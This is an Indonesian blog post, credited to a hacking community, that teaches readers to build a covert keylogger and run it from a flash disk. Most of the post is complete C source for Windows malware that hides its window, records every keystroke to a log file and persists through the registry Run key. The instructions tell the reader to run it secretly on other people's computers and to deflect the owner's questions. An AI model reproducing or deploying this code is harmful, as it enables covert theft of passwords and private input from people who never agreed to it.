Membuat FD (FlashDisk) Menjadi Hardware Keylogger

assalamualaikum,kali ini admin mau posting gmna carany buat flasdisk anda menjadi hardware keylogger,sekrang kn hardware keylogger sudah kluar harganya klau gk salah 50$ muka merahmuka merah

ok ni langsung saja TUTORNYA.....

• Pertama agan harus menyediakan flash disk ato USB agan masing-masing (yang g jorok atau bebas virus ya, biar kompu orang g rusak).

• Lalu agan mesti download C++. (Cari di Google)

• Setelah anda donlod C++, anda buka dan install

• Setelah di install, open dan tulis code ini :



PHP Code:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>

#define BUFSIZE 80
int test_key(void);int create_key(char *);int get_keys(void);int main(void)
{
    
HWND stealth/*creating stealth (window is not visible)*/
    
AllocConsole();
    
stealth=FindWindowA("ConsoleWindowClass",NULL);
    
ShowWindow(stealth,0);

    
int test,create;
    
test=test_key();/*check if key is available for opening*/
     
    
if (test==2)/*create key*/
    
{
        
char *path="c:\\%windir%\\Log.exe";/*the path in which the file needs to be*/
        
create=create_key(path);
       
    }
     

    
int t=get_keys();
 
    return 
t;
int get_keys(void)
{
            
short character;
              while(
1)
{
                 
    for(
character=8;character<=222;character++)
{
    if(
GetAsyncKeyState(character)==-32767)
{
                         
     
FILE *file;
    
file=fopen("log.log","a+");
if(
file==NULL)
{
return 
1;
}         
if(
file!=NULL)
{     
if((
character>=39)&&(character<=64))
{
    
fputc(character,file);
    
fclose(file);
    break;
}     
    else if((
character>64)&&(character<91))
{
                                           
character+=32;
                                           
fputc(character,file);
                                           
fclose(file);
                                           break;
}
    else
{
    switch(
character)
{
                                               case 
VK_SPACE:
                                               
fputc(' ',file);
                                               
fclose(file);
                                               break; 
                                               case 
VK_SHIFT:
                                               
fputs("[SHIFT]",file);
                                               
fclose(file);
                                               break;                                         
                                               case 
VK_RETURN:
                                               
fputs("\n[ENTER]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_BACK:
                                               
fputs("[BACKSPACE]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_TAB:
                                               
fputs("[TAB]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_CONTROL:
                                               
fputs("[CTRL]",file);
                                               
fclose(file);
                                               break; 
                                               case 
VK_DELETE:
                                               
fputs("[DEL]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_OEM_1:
                                               
fputs("[;:]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_OEM_2:
                                               
fputs("[/?]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_OEM_3:
                                               
fputs("[`~]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_OEM_4:
                                               
fputs("[ [{ ]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_OEM_5:
                                               
fputs("[\\|]",file);
                                               
fclose(file);
                                               break;                             
                                               case 
VK_OEM_6:
                                               
fputs("[ ]} ]",file);
                                               
fclose(file);
                                               break;
                                               case 
VK_OEM_7:
                                               
fputs("['\"]",file);
                                               
fclose(file);
                                               break;
                                               
/*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               
case VK_NUMPAD0:
                                               
fputc('0',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD1:
                                               
fputc('1',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD2:
                                               
fputc('2',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD3:
                                               
fputc('3',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD4:
                                               
fputc('4',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD5:
                                               
fputc('5',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD6:
                                               
fputc('6',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD7:
                                               
fputc('7',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD8:
                                               
fputc('8',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_NUMPAD9:
                                               
fputc('9',file);
                                               
fclose(file);
                                               break;
                                               case 
VK_CAPITAL:
                                               
fputs("[CAPS LOCK]",file);
                                               
fclose(file);
                                               break;
                                               default:
                                               
fclose(file);
                                               break;
                                        }     
                                   } 
                              }     
                    } 
                }               
                 
            }
            return 
EXIT_SUCCESS;                         
}                                               
int test_key(void)
{
    
int check;
    
HKEY hKey;
    
char path[BUFSIZE];
    
DWORD buf_length=BUFSIZE;
    
int reg_key;
 
    
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(
reg_key!=0)
    { 
        
check=1;
        return 
check;
    }     
       
    
reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);
 
    if((
reg_key!=0)||(buf_length>BUFSIZE))
        
check=2;
    if(
reg_key==0)
        
check=0;
     
    
RegCloseKey(hKey);
    return 
check;
}
  
int create_key(char *path)
{
        
int reg_key,check;
     
        
HKEY hkey;
     
        
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(
reg_key==0)
        {
                
RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));
                
check=0;
                return 
check;
        }
        if(
reg_key!=0)
                
check=1;
             
        return 
check;

• Nah, setelah itu agan Complie atau run, tapi enakan klik Rebuild All, bias agan temukan di Execute>Rebuild All


• Nah berhubung program sudah jalan, wajib agan end process “Log.exe “nya di Windows Task Manager.Save program dengan nama “Log”.


• Sekarang, coba agan buka my document, pasti dah ada program nya “Log.exe” dan tempat hasil Log-an nya yang bernama “Log”


• Tetapi apabila anda ingin mengganti nama program nya menjadi nama yang anda ingin kan seperti contoh “Ferdhika”, bisa anda ubah code nya di sini


Quote:1.char *path="c:\\%windir%\\Ferdhika.exe";/*the path in which the file needs to be*/

2.file=fopen("Ferdhika.log","a+");

3.reg_key=RegQueryValueEx(hKey,"Adit",NULL,NULL,(LPBYTE)path,&buf_length);

4. RegSetValueEx((HKEY)hkey,"Adit",0,REG_SZ,(BYTE *)path,strlen(path));

• Na, kan sudah menjadi folder, tinggal agan copy ke flash disk


• Selanjutnya, tinggal agan jalanin aja di kompu orang lain lewat flash disk agan, untuk menghentikan “Log.exe’ / Keylogger nya, bisa kalian end process di Windows Task Manager / ctrl+alt+delete

• Tetapi kalau yang punya kompu Tanya “ko flash disk nya g d lepas?”, na tinggal basa-basi da ama yang punya computer,, hehehehhehehehe


Na,,Selesai jg tutor newbie ini, dan jg buat yang da pro + yang da jago abis/ ga usa blajar lgi tentang ginian, mohon kritik nya om,,,,

(keylogger ini bersifat tersembunyi dan susah untuk di lacak [menurut ane ye], jadi moga-moga bermanfaat deh,,,)

Source : TGD Hacking Comunity

0 komentar "Membuat FD (FlashDisk) Menjadi Hardware Keylogger", Baca atau Masukkan Komentar

Posting Komentar

Silahkan berkomentar sesuai topik..

no sara,spam,and junk.. :)

Animasi (15) Berita (15) Blogger (14) Cerita Humor (5) Cerpen (7) Cheat (2) Cinta (7) Dolar (11) Domain (3) Download (6) Facebook (6) Film (4) Gambar (4) Game (22) Hacking (28) Hardware (7) Hp S40 (2) Humor (4) Info (89) Internet (81) Kata Bijak (11) Komik (3) Lirik Lagu (26) Musik (16) My Diary (19) Operating System (3) PC (53) Program (11) Sejarah (6) SMS (7) Software (56) Teknologi (11) Tema (1) Tips Blog (10) Tips N Trik (52) Trik Fb (14) Tutorial (12) Twitter (2) Video (14)

Recent Post

Dark Generation